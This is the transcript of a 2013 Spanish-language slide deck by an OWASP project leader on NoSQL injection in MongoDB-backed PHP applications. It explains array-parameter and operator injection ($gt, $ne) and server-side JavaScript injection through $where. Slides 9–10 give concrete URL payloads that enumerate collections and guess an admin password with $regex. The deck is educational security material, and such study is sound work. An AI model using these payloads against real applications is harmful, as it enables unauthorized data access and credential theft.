Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Inyecciones NoSQL atacando bases de datos no relacionales

drneox
November 13, 2013

Inyecciones NoSQL atacando bases de datos no relacionales

drneox

November 13, 2013
Tweet

More Decks by drneox

Other Decks in Research

Transcript

  1. Inyecciones NoSQL • Yo: • Estudiante de ing. Informática. •

    Entusiasta de la seguridad informática y software libre. • Trabajo como software developer en b2c corp. • OWASP Project Leader. • [email protected] • • Atacando base de datos no relacionales
  2. Bases de Datos • Guardan en tablas relacionadas • Integridad

    de datos • Usan SQL • SQL injection :) • RBMS
  3. Bases de Datos • Forma de guardar datos • Facil

    de Escalar • No SQL • No SQL injection :( • NoSQL •
  4. MongoDB • Orientado a documentos. • Usa colecciones en lugar

    de tablas. • Formato bson(variación de json). • Consultas(driver para js, php, python,etc). • Las consultas no son hechas como string. • Caracteristicas
  5. MongoDB • Aprovechar que el tipo de variable no a

    sido definido y convertirlo de string a array en PHP. • Page.php?id=2 / Page.php?id[var]=2 • Injectando arrays
  6. MongoDB • Select * from user where id=1; – $db->user->find(array("id"

    => 1)); • Select * from user where id>1; – $db->user->find(array("id" => array('$gt' => 1))); • Select * from user where id<1; – $db->user->find(array("id" => array('$lt' => 1))); • Select * from user where id<>1; – $db->user->find(array("id" => array('$ne' => 1))); • • Driver para PHP
  7. MongoDB • String.length – Tamaño de una cadena • String.match(/^foo.*/)

    – usar expresiones regulares – • server-side javascript
  8. MongoDB • $js= "function() { return this.id == ".$id."; }";

    • $results= $collection->find(array('$where'=>$js)); • noticias.php?id=1 || this.nombre.length=1 • noticias.php?id=1 || this.nombre.match(/^a.*/) • server-side javascript
  9. MongoDB • db.getCollectionNames() – Devuelve los nombres de las Colecciones

    • Tojsononeline – Devuelve en una linea el resultado • $regex : – Para usar expresiones regulares en mongodb • Count() – Contar resultados devueltos • Vamos mas lejos!!
  10. MongoDB • • noticias.php?id=1 || db.getCollectionNames()[1].length == 1) (?) •

    noticias.php?id=1 || tojsononeline(db.user.find()[0]).match(/^{.*/) (?) • noticias.php?id=1 || db.getCollectionNames()[1].match(/^foo.*/) • noticias.php?id=1 || db.foo.find({"user":"admin","password": {$regex : "12"}}).count()==1 • Vamos mas lejos!!
  11. Links de Interes • http://www.php.net/manual/es/mongo.sqltomongo.php • http://www.php.net/manual/es/mongo.security.php • http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/ •

    http://www.mongodb.org/display/DOCS/Advanced+Queries#AdvancedQueries-RegularExpressions http://www.mongodb.org/display/DOCS/Server-side+Code+Execution • http://www.google.com • Www.todoporelvicio.com ;) • A leer...